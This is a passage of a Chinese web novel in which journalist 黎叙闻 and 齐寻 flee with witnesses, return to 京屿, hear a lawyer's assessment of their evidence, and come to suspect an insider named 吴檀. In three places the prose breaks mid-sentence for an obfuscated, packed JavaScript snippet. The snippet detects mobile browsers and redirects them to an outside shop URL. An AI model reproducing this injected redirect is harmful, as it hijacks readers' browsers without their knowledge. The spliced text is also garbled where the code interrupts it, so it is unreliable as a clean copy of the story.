她将书影和珍妮让进来,自己低头去看铁门上老旧的门栓。 很古早的门插样式,从外面锁了,地窖里面的人就进不来。 黎叙闻握上那只小小的门插,插销上一层沉冷的水雾,凉得她心头一哆嗦。 现在第一要务是保护证人的安全,她理所应当该把这门锁死,这样毛寸就算追上来,也没办法接近她们,等他们想办法打开门,她们早就转移了。 可如果毛寸带人追上来,是不是就说明,说明…… 她心慌得厉害,心脏抽搐着几乎令她窒息。 可如果上来的不是毛寸,是齐寻呢? 那她锁上的,是不是他的生路? 黎叙闻轻轻抹掉门栓上的雾气,视线慢慢往下垂,最后落在门栓底下的把手上。 口袋里的记者证贴着她的皮肤,在淡青色的天光中隐隐发烫。 听他的吧,它说,带证人走,连夜找车回京屿,只要回到京屿,一切就尘埃落定了。 你是记者,你是记者。 保护证人,带证人走。 她忽然哭了。 “我为什么要跟他结婚?”她死死拽住把手,喃喃地问:“就为了我的选题,为了我的事业?” “我不爱他。”她说。 身体里两股力量在疯狂撕扯,爆发出无比尖锐的疼痛。 “我不爱他。”她闭上眼睛。 她突然回过头,把记者证塞进影姐手里:“拿着这个,带珍妮去京屿,直奔商报报社,我们主编叫马颂今,”她突兀地笑了一下:“是个很好的小老头。你说是黎叙闻让你来的,他一定会听你把话说完。” 黎叙闻看着书影,目光里有前所未有的重量:“记住了,京屿商报,黎叙闻。” 她抬手狠推了书影一把,自己的脚却依然钉在原地。 书影死死拽着她的手臂:“你呢,你去哪?” “我要回去,”她说:“回去找他。” 极淡的月色下,她颊边蜿蜒一道晶莹水光,只一闪,又隐入了黑暗。 “不行,你……”书影还要去拉她,黎叙闻身形却蓦地一滞,侧耳贴上冰凉的铁门。 “嘘。” 薄薄的铁门上,传来一丝轻微却笃定的震颤。 步履不稳,走得很慢,但确实在一步一步,向她们靠近。 黎叙闻以眼神让书影和珍妮退到靠近地面的出口,只要里面的人一露面,她便立刻将门反锁,为她们争取逃生的时间。 上来的是谁…… 是谁呢。 脚步声一步比一步近,几乎敲在她的鼓膜上。 黎叙闻全身力量都集中在手指,死死攥住那单薄的把手,屏住呼吸闭上眼睛。 那脚步声在门的那边,蓦地停住了。 然后,隔着门,传来一声极压抑、极克制的喘息。 黎叙闻猛地睁开眼,动作比意识还快半秒,在思绪明白过来之前,霍然拉开了门。 门不堪重负地敲在墙上,背后出现了齐寻布满灰烬的、疲惫的脸。 他整个人脱力地靠在洞壁上,看见她的一瞬明显地一愣,天光猝然点亮了他晦暗的眼眸。 他还有力气抬了抬眉:“怎么还在?不是让你先回京屿么?” 呛人的烟尘骤然充斥了她的鼻腔,黎叙闻瞬间失了声,几乎扑进他怀里。 齐寻将她紧紧搂住,箍得极深,她鲜活的心脏一下一下敲在他满是冷汗的胸口,沉静水香刹那驱散了堵住他口鼻的灰烬。 他一脚踏入了人间。 劫后余生的心脏在胸膛中凶狠地叫嚣,这种占有不够,远远不够。 他不顾掀开在火中烧得滚烫的地窖门时手掌粘掉了一层皮,双手捧住她的脸,双唇近乎暴虐地贴上她的,然后吸吮、撕扯、吞噬,在他从未涉猎的领域攻池掠地。 不顾后果,也不管明天,他只要现在,只要此时此刻。 这是她离开前赊给他的,现在他千金一诺、连本带利还给她。 是她求仁得仁,再没有理由可以口是心非。 高铁越靠近京屿,珍妮就越兴奋得上蹿下跳,而书影的表情,也越沉重。 黎叙闻帮齐寻包扎了伤处,补了四张卧铺票,让他先休息,自己则关好动卧包房的门,静静守在床边。 “珍妮,想吃高铁上的饭吗?”她给珍妮转了三百块:“去餐车自己选,想吃什么就买什么,给我们带四碗泡面回来。” 珍妮惊喜地叫了声,欢天喜地走了。 书影见她满脸倦容,心里不是滋味:“你也去吃点东西哇。” “不用,”黎叙闻转头去看齐寻,他睡得安稳:“我不在他容易醒。” 书影看着她轻手轻脚给齐寻盖外套的样子,微微笑了一下。 大概是想起了很久远之前的时光。 “你之前也在京屿附近吧?”黎叙闻随意地问:“后来还回去过吗?” 两侧风景从窗口极速掠去,书影望着这些她从未见过的景色:“没有了。” 车厢单调往复的行进声中,她轻声问:“你一开始,是咋知道我的呢?” 黎叙闻握着齐寻的手腕轻轻摩挲,没有立刻回答。 她有些拿不准,是不是应该把眼镜男的事告诉书影。 一开始,她只是想来看看那本社会田野调查的起源,到底是个什么样的人,至于牵线搭桥,让他们上演一出感人至深的破镜重圆,她想都没想过。 那种一厢情愿的强制安排,每每见到都让她作呕。 但现在状况不同了。 书影已经失去了奋斗半辈子攒下的发廊,生活成了问题,如果能跟过去联系上,说不定对她有所帮助。 黎叙闻想了想,没回答她,反而问:“到了京屿,你想回家看看吗?” 书影盯着窗外半晌,才摇头:“不了吧。” 黎叙闻嗯了声:“行。”停了停,才又说:“我是从社科院的教授那里听说你的。” 书影忽然回过头,笑了。 “又骗我,你个小妮子。”她像是很释然:“我活了大半辈子,啥人没见过?用得着你瞒着护着?” 黎叙闻愣了愣,也笑了:“也是哈。” 有些事情有些人,还是该她自己做决定。 于是黎叙闻把从她如何在龙腾得知了淑英的故事,到她随眼镜男回去找调查报告被困住,再到她把报告递交到社科院,偶然得知了书影的下落,一五一十地告诉了她。 书影听得又哭又笑,最后长长地叹了一声,道:“傻娃娃,就那么几页纸,值得你们拼了命去抢?” “那怎么办,”黎叙闻笑道:“吃了这碗饭,就要尊重自己的饭碗。” 书影跟着她笑了一阵,安静下来,才慢慢问:“他还好?” “看起来吃穿不愁,也有念想,”黎叙闻答:“应该还好。” 书影“唔”了一声,没了下文。 “想见他吗?” 过了很长时间,书影才说:“没什么想法,感觉那都是上辈子的事了。” “淑英”这个名字,已经离她太远了,远到她想起那个小村庄,想起那个被全世界遗弃的夜晚,都已经过于朦胧,像隔着毛玻璃,在看别人的人生。 黎叙闻点点头:“我没跟他说我找到你了。你放心,你的消息,我不会透露给任何人。” “那你的作文呢?”书影还惦记着她的报道:“不交的话,不要紧吗?” 黎叙闻笑了:“有什么关系,我们主编恨不得我老实呆着,不要给他惹事。” 被呼啸风声震颤的窗户渐渐安静下来,高铁停靠在京屿之前的最后一站。 包房外响起纷繁的谈话声和脚步声,还有行李箱落地、滚轮碾过车厢的声音。 许是受了惊扰,齐寻忽然叫了声:“闻闻。” 黎叙闻立刻回头,却见他根本没醒,明明在睡梦里,包着绷带的手却不偏不倚地覆上她的手背,又慢慢收紧。 黎叙闻:“……” 也不知道梦里疼不疼。 书影含笑看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090871|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这两人,表情像个看着他们长大的长辈。 “那天我们去地里啊,”她说的是跟着剧组出外景,结果整个剧组都被齐寻算计,停摆一整天的时候:“他嫌我骂你骂重了,给你打抱不平,我话赶话说你根本不认他,给他委屈坏了。” 书影大概是戴了八米厚的滤镜,才会觉得齐寻那个压迫感十足的冷淡神色是“委屈”:“他这不是挺好的,你咋不认他呢?” 黎叙闻垂着眼,凝视着齐寻放松的睡颜。 他自己大概不知道,在他睡着的时候,会褪去那些冷淡、疏离和气势,面目难得地柔和。 但也最孤独。 她可能永远也不会明白,眼前痛苦的割舍,和他失去她后的终生孤寂,这两个,到底应该怎么选。 系于她身上的这个死局,她好像真的解不了。 “我以前,有过一个女儿。” 这一句几乎淹没在高铁重新启程的铃声里,可它像一道雷,炸在黎叙闻耳边。 书影目光远远失焦在远去的站台:“特别可爱,特别聪明,比起你来也不差。” “她要活着,现在也十八了。”她叹息似地道:“不知道她会喜欢学什么。” 黎叙闻眼睫轻轻一抖,感觉自己的心脏像一张纸,忽然被揉成了一团。 “她刚出生的时候啊,那么小一点,跟小老鼠一样,我躺在病床上,她安静地趴在我怀里吃奶,我突然就想,不行啊,我不能再烂了,我得给我的女儿谋一个前程。” 黎叙闻恍然。 这就是张教授的那份记录上,淑英突然从原先的地方消失的原因。 “我带着她走了好多地方,中间的事就不提了……最后到了柳北附近,做早点生意。那时候生意还不难做,我手脚麻利用料足,很快就有了点名声,孩子也一天一天长大,日子好像就这样,慢慢好起来了。” 可人生的路实在太长,有时候看到坦途,只是因为它挡住了后面下坠的路。 她一直对诗歌着迷,有时候自己也写,某天跟熟客随口说起这件事,熟客说自己有出版社的朋友,看看可不可以帮她出版。 事情出乎意料地顺利,她渐渐有了名气,甚至有记者慕名来采访,随之而来的,还有过往紧追不舍的阴影。 某天女儿从幼儿园回来,问她,为什么班上的小朋友说妈妈是小姐? “什么是小姐?”女儿问她。 那一瞬间,书影像掉进了永远也爬不出来的黑洞,她好像看见自己苦心构建的一切,在这句话面前,轰然倾塌。 她实在没忍住,狠狠扇了女儿一巴掌。 女儿哭着跑走,她在房间里垂泪,哭到天都黑透了,才想着去买明天包包子的食材,顺便把女儿带回来。 但她出门看见的,却是一辆货车前,女儿躺在血泊里的小小的身体。 书影说起这些的时候,脸上已经没有了刚失去爱女的哀恸,取而代之的,是一种轻飘的空洞。 它看起来很浅,浅到一个错眼就会不见,又好像很深,深到哪怕花一辈子,都填不满。 “后来我就问自己,我为什么要打她,前半辈子过成那个样子,难道是她的错吗?不是因为有了她,我才想重新活出个人样的吗?” “后来我想明白了,是因为我太看不起原来的自己了,我不想让别人知道我以前是那个样子的,不管谁说出那两个字,我都羞得要自杀。” 她扭头看着黎叙闻:“是我杀了我的女儿。” 黎叙闻听得浑身发冷,心中大恸。 她好像知道书影要说什么了。 “我不承认我以前是小姐,所以杀了我的女儿;我不承认我是坏人,所以害了那么多跟我一样的人。”书影慢慢地、机械地说:“她们也是别人家的女儿。” 她忽然握住黎叙闻的手:“那你不想承认的,又是啥呢?” 黎叙闻望着她苍老的、饱经磋磨的脸,恍然地落下泪来。 她不承认自己无能,不承认父亲犯下的过错她就是无力去解,不承认她背负不属于自己的责任走到今天,早就苦不堪言。 她不承认她自己选的路,靠自己就是无法走完,不承认她那么希望有人能接受她的一切,陪在她身边。 她不承认自己其实那么无望、那么痛苦地爱着他。 这一瞬间,她看见了书影的悲剧,也看见了自己正无知无觉走向结局。 那么被她杀死的,又会是谁呢。 78. 第 78 章 到京屿后,两人找了个酒店把书影和珍妮安顿下来,黎叙闻马不停蹄就要去见靳言。 之前冒着风险从吴檀那里顺来的文件,靳言那里有了点眉目,想当面见见她,聊聊详情。 珍妮在大堂里好奇得东摸摸西瞧瞧,黎叙闻在前台办好手续,头也不抬地对齐寻道:“给你也开一间,你再睡一下,等我……” 齐寻笑着曲起食指,扳过她的下巴:“闻闻,回趟家吧。”他捻起她T恤的肩线抖了抖:“你现在浑身都是土。” 他不说还好,一说黎叙闻真的开始浑身难受了。 别说土了,就之前忙着跑路连累带吓,出的这一身汗…… 黎叙闻小小声“哦”了一下,还是不看他:“那行,那我回家……” “我跟你一起,”齐寻打断她:“我车还在你家。” 黎叙闻终于蹙起眉看他了:“你车为什么在我家?你不是从你那去柳北的么?” “你家离车站近,”齐寻毫不心虚揽住她,又转身对书影道:“修整一下,晚餐给你们买了券,有事明天再说。” 书影一脸姨母笑:“哎,下个月再说也行啊。” 黎叙闻:“……哎,哎不是……” 还没抗议完,就被齐寻拐走了。 网约车来得倒快,两人坐上后座,空气忽然安静下来。 没有了忙乱的状况和追兵的围堵,他们坐在一起,好像突然不知道该说什么了。 尤其是黎叙闻,自从下了高铁,整个人就别别扭扭,似乎摆什么表情都不对劲。 这种流动在空气里的微妙的尴尬,已经很久没出现在他们之间了,这一遭又回到两人刚认识那会儿,中间经历的事长出的默契,好像一夜之间,全都抹消了。 半晌,黎叙闻才说:“你身上这些伤……要不要去下医院?” “没那么娇气,”齐寻用自己裹着绷带的手去牵她:“看,功能完好。” 那只微凉的手在他掌心犹疑了片刻,轻轻抽开了。 齐寻手心一空。 他在高铁上睡得并不安稳,只听见书影和闻闻一直在聊天,却听不清在说什么。 他只记得,梦里的闻闻,好像一直在哭。 他被她哭得心疼,想给她擦眼泪,却又好像怎么都够不到她。 齐寻轻轻握住手指,粗糙的绷带边缘沙沙地磨着他的皮肤。他顿了顿,又握住掌心那一点残留的温度。 就这么别扭到了家。 那辆牧马人果然方方正正停在她家楼下,黎叙闻见了它,几乎生出一种亲切来。 “好久不见了小牧,”她拍拍牧马人的头灯:“看你脏的。” 她看一眼齐寻:“停车费估计要好几百。” 齐寻笑了声:“来都来了,能不能让我上去洗个澡换件衣服?” 黎叙闻扬起眉瞪他:“车在我家,衣服也在我家?我让你收拾东西,你都收了什么?” 齐寻毫无愧色:“收了我自己。” 本以为黎叙闻又要伶牙俐齿地跟他大战三百回合,没想到她张了张嘴,垂目扫了眼他小臂上包扎潦草的伤口,板着脸道:“那上来吧。” 说完面无表情就向前走。 齐寻在后面喊:“哎,不等我?要把我锁外面?” 黎叙闻咬牙切齿的声音远远传来:“我就不信你把钥匙留在我家了!” 齐寻啧一声,慢吞吞上车,从储物箱里拿出钥匙。 ……还真是被看穿了。 热水兜头浇下的那一刻,黎叙闻简直热泪盈眶。 影姐那个小破出租屋,虽然不至于洗凉水澡,但什么时候都是温吞的,加上柳北潮热,身上的黏腻感觉就没断过。 还是回家好,舒舒服服洗个热水澡,每个毛孔都张开了。 她断断续续洗了快一个小时,才擦着头发出去,发现齐寻正扭着胳膊,给伤口上药。 他左手小臂上是匕首划的刀伤,右手手掌是粘掉了一层皮的烫伤,只能用指尖拈着棉签,以一个扭曲的角度慢慢涂。 黎叙闻带着一身水汽走过去,把头发随意一包,直接从他手上拿过棉签,替他消毒。 她动作轻得他发痒,鼻息柔缓得像抚过的清风,一阵一阵抚过他小臂上的汗毛,静得几乎无声。 齐寻垂目,自上而下细细看她沾着水汽的睫根,水珠跟着她的气息缓缓浮动,像一滴将落未落的泪。 黎叙闻对着一切浑然不觉,随意道:“你两只手上都是伤,能洗吗?” “用防水材料就行,”齐寻眼神一瞬不移:“问题不大。” 黎叙闻抬头真诚道:“要不……” 齐寻扬着眉等她下文。 “要不……”她难得说不出口:“我帮你?” 齐寻幸亏没在喝水,不然高低喷出来:“……你怎么帮?” “就,”黎叙闻举着棉签比比划划:“你脱了衣服,然后我、我给你擦?” “下半身呢?你也给我擦?” 黎叙闻木着脸:“脏着。” 齐寻笑着拍了下她额头:“那不行,我还是得注意一下个人卫生。” 他起身进了浴室,一会儿功夫,里面又响起哗哗的水声来。 黎叙闻擦着头发去开了窗,九月的京屿暑气已是强弩之末,现在阳光渐渐西斜,风缓缓从窗外送进来,吹着她湿漉漉的长发,已经有了令人欣喜的凉爽之意。 她在窗前站了一会儿,想了很多事。 到了京屿虽然安全了,可线索也一并断了。如果靳言那边没有进一步发现,这件事下面该怎么办? 影姐带着珍妮,在京屿人生地不熟,她们往后怎么生活,对外又怎么解释她们的关系? 她跟齐寻……到了这一步,又该怎么往下走? 她沉思得太久太专注,连浴室里的水声什么时候停了,都没有注意到。 齐寻换了身清爽的短袖出来,见她愣愣地站在窗前,问:“怎么不吹头发?当心头疼。” 黎叙闻忽然回过神,进卧室拿了吹风机,磨磨唧唧坐在客厅沙发一角,慢慢擦着发尾。 ……有点想让齐寻给她吹头发。 但人家受了伤呢,而且她可是雷厉风行的调查记者,这种话,她怎么说得出口。 上次?上次那是她PTSD发作,人家好心照顾她…… 心里这么想着,眼睛就没忍住,偷偷瞟了一眼打开笔电的齐寻。 ……他开电脑做什么,难道要开始干活不成? 黎叙闻根本说不清人家要工作到底有哪里不对了,但心里痒痒的,就是…… 就是很想靠近他。 也不是像上次一样,喜欢他的皮囊,处心积虑地想跟他一夜春宵。 她只是想靠近他,让他的体温和呼吸包裹自己,好让她放松地、安心地呆上一会儿。 而不是一场搏命一样的调查回来,在自己从小长大的城市里,依然举目无亲。 她心里打算盘的这一会儿功夫,齐寻的电脑里,飘出一阵微风一样的音乐来。 他起身走到她身边,自然而然地从她手上接过吹风机,坐在她身后,拍拍自己前面的坐垫:“来,往后稍稍。” 黎叙闻眼眶忽然一热,却低头道:“干什么,你手上还有伤……” “我想给你吹,”齐寻声音很轻:“你昨晚到现在一直没睡过,歇一会儿。” 黎叙闻慢慢蹭到他身前,风筒响起最轻一档的声音,不远不近地,很温暖,也很柔软。 柔缓的音乐不至于被风声盖住,像一张轻绵的网,缓缓地将她盖住。 半干的发丝缠绕上齐寻的手指,掌心粗糙的皮肤和疤痕轻轻摩挲她的头皮,抚过她的耳后。 那条许久未见的小蛇,又红着脸灵动起来。 黎叙闻肩膀不甚明显地一瑟缩,忽然很想跟他说点什么,比如他第一次给她吹头发时,她就想起了遥远的童年跟妈妈在一起的时光,比如她始终没有再问过他的家庭,不是因为不好奇,是因为害怕提起他的伤心事,比如等这一切结束,她会给他一个最后的答案。 可是风太温柔,音乐太舒缓,好像一切语言都成了多余。 不是今天吧,她想,总该再问问他的意思,再做打算。 “闻闻。”齐寻手上轻轻拽她的发根,忽然低声叫她。 她想回头,却被他按住。 “躺下来,”他关了风机,换了个姿势,一只手带住她肩膀:“我有话跟你说。” 黎叙闻呆呆地坐了几秒,竟真的听话地躺在他腿上,只是背对着,不看他。 “我不知道书影在车上跟你说了什么,但我能感觉到,你好像很难过。”齐寻手指穿过她的长发,轻声问:“是因为我?” 黎叙闻没出声,只是轻轻点了点头,很快又摇了摇头。 齐寻很久没说话,慢慢给她梳着头发,良久才问:“是我给你压力了?” 黎叙闻还是不回答,手臂绕过肩膀,抓住了他的手。 她不知该怎么回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098763|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们之间好像隔着太多说不清的事实,以至于无论承认还是否认,都不是真相。 “齐寻。”她叫他的名字:“我们最后,会是什么结局呢?” 梳齿一下一下刮着她的后枕,发出麻痒的沙沙声,她听见他沉静却笃定的声音。 “这个问题,你自己回答就行,因为我说了会等你,就一定等你到最后。” 这是她在朦胧的钢琴声中,听到的最后一句话。 她一路攀着这句承诺,走进了宁静安详的梦里。 齐寻抚着她散在他腿上的长发,听见她呼吸逐渐深长、平稳,她始终紧绷的脊背终于渐渐松下来。 ……所以他没有问,为什么当时他为了带她们脱身,跟毛寸假投降时,夜风送来了她凌乱的气息。 她可以不顾被监视回到发廊找他,也可以冒着风险在出口处等他,但在最深最底的潜意识里,在这么多次共进退之后,她依然不信他。 他轻轻挽住她的发尾,以绝不会惊动她的轻柔动作,慢慢将她的长发捏紧。 “可就算是这样,我也不会放手。” 这黑沉无梦的一觉,黎叙闻直接睡到了华灯初上。 从堪称昏迷的睡眠中睁开眼睛,她先盯着黑透了的窗外愣了几秒,回神的一刹那立刻跳起来:“几点了?” 一头撞上了也在补眠的齐寻的下巴。 睡梦中莫名挨了一头锤,齐寻捂着下颌:“……我跟靳言说过了,她晚上都有空,说等你休息好了再去就行。” 黎叙闻痛得差点飙泪,眼泪汪汪:“那你去吗?” “这得问你,”齐寻腾出一只手,给她揉额头:“夫妻情深的戏码,还演吗?” 黎叙闻:“……” 大概是睡得懵了,她半天没缓过神来,原地呆坐了好几秒,才想,对哦,还有这档子事儿呢。 这几秒的沉默看起来真的很像犹豫,精准地戳到了某些人的逆鳞。 “不演也行,”齐寻语气平淡:“那你就负责去给她解释,为什么要离婚,什么时候离的,是我私德有亏出轨了,还是你耐不住寂寞……” 黎叙闻头都大了:“齐寻你可以了,你要不要听听自己在说什么?” 齐寻表情浅淡,一说不演了他就敏感得很:“看你,我都行。” 黎叙闻现在终于知道为什么下决心离婚这么难了,他俩还是假结婚,没孩子没财产问题,桩桩件件的关系都这么复杂,别说人家真结婚的了。 “演,演行了吧?去秀恩爱让靳言把咱俩打出来!”黎叙闻从他腿上爬起来,还没出门就已经累了:“快换衣服,别让人家等。” 一通鸡飞狗跳的收拾,等他们到靳言的办公室,都已经晚上八点半了。 空旷的格子间里,只有零星几处台灯亮着,倒是靳言的办公室,灯光大亮。 靳言个子不高,几乎被埋在桌上浩如烟海的卷宗里,听见声音才抬头:“黎记者,齐先生。” 她站起身:“我们去会议室聊。” 进了会议室,不等他们落座,靳言在关上门的那一刻就进入了工作状态:“上次你拍给我的证据我看了,一份是该公司某项目的交易明细和收款收据存根,一份是包括大额资金流动的财务报表,还有就是一份协议合同——条款不明,且权责不对等。” 她拿出证据的复印件:“这方面我不专业,所以咨询了经侦的朋友。他看过后认为这些资金流动本身尚无明确的非法来源或去向,合同内容也未直接涉及违法交易,在法律上不足以构成立案标准,也不能直接认定为洗钱。” 她推了推无框眼镜:“需要我给你们一份证据清单吗?” 黎叙闻跟齐寻对视一眼,知道这条线索终于是断了。 别说其余证据,他们现在就算路过柳北,都得绕着走。 “但其实即使有证据,一般也难启动调查。”靳言继续说:“经侦介入一般要么是内部知情人举报,要么是已知资金来源与犯罪活动有关——他们门槛很高的。” 黎叙闻默了一下,苦笑起来:“这简直就是鸡生蛋和蛋生鸡。” 她手上没有蔡道全犯罪的确实证据,本想如果能让经侦介入,至少可以牵制他公司的资金,争取更多时间,结果却被告知这条路的先决条件,是已知蔡道全犯罪。 “我还有一件事,”黎叙闻想了想,问出了那个一直萦绕在她心头的问题:“这些证据,以纸质的形式混在一起,出现在一个秘书的办公桌上,你觉得合理吗?” 79. 第 79 章 这话一出口,稳重如靳言,都忍不住“啊?”了一声:“这三份文件应该属于不同部门吧,纸质?在秘书桌上?” 黎叙闻点头:“当时情况太紧急,我根本来不及想,只想着全部拿回来再慢慢看,现在想起来……” 齐寻瞬间就懂了她的意思:“不止,你还记得我去他们公司开会,中间出来接电话,听到的那段黑话吗?当时只是震惊于里面的内容,急着救珍妮,但是那通电话,是谁打的?” 有一点零碎的闪光,突然从黎叙闻脑中无数念头中脱颖而出:“那天我从他们公司走的时候……好像听见很多人上楼的声音。”她沉吟着:“他们好像……在找人。” 齐寻立刻问:“你出来时大概几点?” “九点多,对,我上车的时候给靳言打电话,还在想这么晚了,她会不会休息了。” “我们把那五个女孩救出来的时候,刚过九点。”齐寻呼吸莫名一滞:“那时候,蔡道全应该已经知道我们把人带走了。” 黎叙闻睁大眼睛,喃喃地:“也就是说,我听到的哪些脚步声,是来抓我的?那、那我——” 她眨了眨眼,因为跑路逃命而被她暂时忽略的细节,蓦地清晰起来。 当时吴檀接完电话回来,脸色似乎很紧绷,跟她说:“走吧,黎记者。” 刚出她办公室的门,吴檀却把她引向侧门:“这个时间,写字楼正门已经关了,请从侧面走。” 她还记得吴檀意有所指的语气:“这边晚上不太安全,尽快回吧。” 想来那个时候,是吴檀拦住了上来追她的人,可能撒了“她已经走了”这样的谎,把那些人引开,打了个时间差,将她送出了门。 时间再往前拨,整件事最初让她起疑的,是那个每天逗留在片场的女演员,而真正让她意识到这一切有内幕的,是她们第一次在片场见面,吴檀那句状似无意的话: “也难说吧,双线并行内容还是很多的,到时候耽误了工期,后面就不好弄了。” 就是“双线并行”这个词,让她笃定那个剧组有问题,继而看到了那个未公开版本的广告,然后一步一步,查到了今天。 一线细细的冷汗从她后颈蜿蜒着,缓缓坠入她的脊背。 一种从一开始就被人玩弄于鼓掌间,而她却浑然未觉的冷意,让她瞬间如坠冰窟,从发丝到指尖,几乎都冻住了。 所以吴檀到底想干什么?她在暗处一直引导他们、帮助他们,是想得到什么? 她冰凉的腕骨处忽然一暖,是齐寻轻轻捏住了她的手腕。 黎叙闻冷汗涔涔地扭头跟他对视,两人口中同时吐出了那个名字:“吴檀。” “她是站在我们这边的,可是她也是既得利益者,她有什么必要呢?”她开口便带着气声,听起来很虚:“那是不是意味着,她……” 齐寻点头,把她说不下去的话继续补完:“有可能她以前,也是受害者。” 吴檀这个人,无论是气度,还是公司中的地位,抑或者是蔡道全对她的信任,给她的待遇,哪一样拎出来,都是货真价实的心腹。 如果她是受害者,那么这些年…… 她都经历了什么? 像一道惊雷陡然劈下,黎叙闻所有的职业骄傲几乎在瞬间被撕碎了。 吴檀曾几次出现在她面前,当她看着她的时候,心里在想什么? 在片场无人注意的角落里,她第一次叫出“黎记者”的时候,又抱着什么希望? 吴檀几乎是抱着自我暴露的决心,从蔡道全手里保下她的。 而她呢,背负着这样的恩情,她却像一条落水狗一样落荒而逃。 黎叙闻深深闭了闭眼,自责、悲伤、无力混混沌沌织作一团,堵得她喘不过气来。 “闻闻。” 这一声像隔着水,把她从冷潭中忽然拉了出来。 “不怪你,”齐寻揽住她的肩膀,拇指轻轻摩挲,低声道:“她应该跟了蔡道全很多年,一定有办法自保,你不要……” “不。”黎叙闻摇摇头:“事情还没完。” 她拳头攥得很紧,语气却冷静:“她一定还有话没说完。” “我不能就这样放弃。” 当天晚上,黎叙闻就给吴檀发了微信。 她不敢用自己的号,生怕再给吴檀带来什么麻烦,花心思弄了个小号,想了想,在验证信息里写“吴总,我是小王。” 如果吴檀记得她们在混乱片场的角落里最初的那场对话,她就一定会认出“小王”是谁。 可是对面没有通过。 整整两天,吴檀那边都毫无反应。 这两天里,黎叙闻每分每秒都在焦虑,没等来吴檀,却等来了另一个消息——琳琳的案子,终于判了。 靳言的信息像是直接从判决书上裁下来的:“鉴于被告人秦琳在案发时被鉴定为无刑事责任能力,且经评估具有社会危险性,依照法律规定,裁定对其实施强制医疗,具体医疗期限由相关机构根据病情评估决定。” 黎叙闻关心的还有其他:“代孕机构呢?” 靳言那边似乎犹豫了一下,才回:“关闭机构,罚款五万。” 看到这条消息时黎叙闻正在喝水,一见这个数字,手上的杯子都险些扔了。 “……多少?” 靳言直接拨了电话过来:“以前也有过类似的案例,罚金也是十万以下。听起来不像真的,但这就是现实。” 黎叙闻举着手机,很久都没有说话。 靳言也一起沉默着,不抱怨,也没有安慰。 许久,她听见黎叙闻在那边轻轻抽了口气,问她:“你有时候,也会觉得自己做的一切都毫无意义吗?” “当然了,”靳言无声地笑笑:“每一天。” 停了停,她又道:“但这一次,跟以前又有点不同。” “什么不同?” “因为你的报道,很多人都看到了。会有越来越多的女孩子知道代孕是什么,女厕里的小广告会被涂掉更多,也会有越来越多的人意识到自己不是商品,而应该保有为人的尊严。” 虽然这些依然只是杯水车薪,但点燃的烛火,便不会再熄灭。 它只会在角落里潜滋暗长,缓慢但坚定地,终成燎原。 “你说得对,靳律师。”黎叙闻慢慢地说:“总有一天。” “是的,总有一天。” 与此同时,酒店自助餐厅。 纸质资料在餐桌上一字排开,上面用各种颜色的荧光笔划了不同重点,珍妮塞了一嘴的虾,看愣了。 “珍妮的父母还健在,所以你俩应该不能构成领养关系,”齐寻指着其中一份资料上的划线部分道:“最多只能事实监护。” 珍妮鼓囊着腮帮冷笑:“他们已经死了。” “死没死你说了不算,”齐寻道:“好好说话。” 珍妮扭头去告状:“影姐你看他,教育我的那个表情,像不像闻姐?” 她吃得满嘴油汪汪,书影拿纸给她擦了:“人家没说错,听人家的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103578|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 珍妮舔了舔嘴唇,忽然问:“哎,跟闻姐亲嘴是什么感觉?” 齐寻眉心一跳,手里的笔差点掉了。 “软吗?她那么好看,给你乐坏了吧,唔——” 书影捂住她的嘴,对齐寻道:“对不住,她胡说八道惯了。” 齐寻被她说得眼皮直跳,换了张民政局给的条例,头也不抬:“……她上到初一就辍学,九年义务教育还没完成,在京屿上学的可能性不大,让民政局给安置,八成会在其他城市或县城,大概会被送到福利院或者寄宿学校。” “我不去孤儿院!我有妈,要跟影姐在一起!”珍妮咽下嘴里的虾,转头去问书影:“影姐,你……呀,你咋哭了呢?” 书影拿手背抹去泪花:“谁跟你一起过,烦死人。” 她嘴硬了一辈子,可震颤的尾音已经出卖她了。 “我就要就要就要,”珍妮抱住她的胳膊:“我到处跟人说我是你闺女!” 说着说着,自己都起了一身鸡皮疙瘩。 她也不想这样的,怪只怪那天她在高铁上狼吞虎咽吃完饭,抱着四盒泡面回到包房门口,不小心听见了影姐从来没讲过的故事。 故事里淋漓不尽的雨,也同样淋湿了她。 大人真麻烦,她靠在轰隆轰隆震动的门板上想,那能怎么办,那只有我来拯救这个可怜的女人了。 齐寻看在眼里,笑了下,又抽出一张纸:“我问过了,影姐可以申请寄养,这样珍妮可以由你照顾,你们就不用分开了。” “但他们应该会考量你的经济状况,所以当务之急,是找一份工作。”齐寻问书影:“你有什么想法?我看看能不能帮上。” 她们会遇到的问题,方方面面,他全都考虑到了。 书影看着齐寻,越看越喜欢,越看越觉得跟闻闻相配。 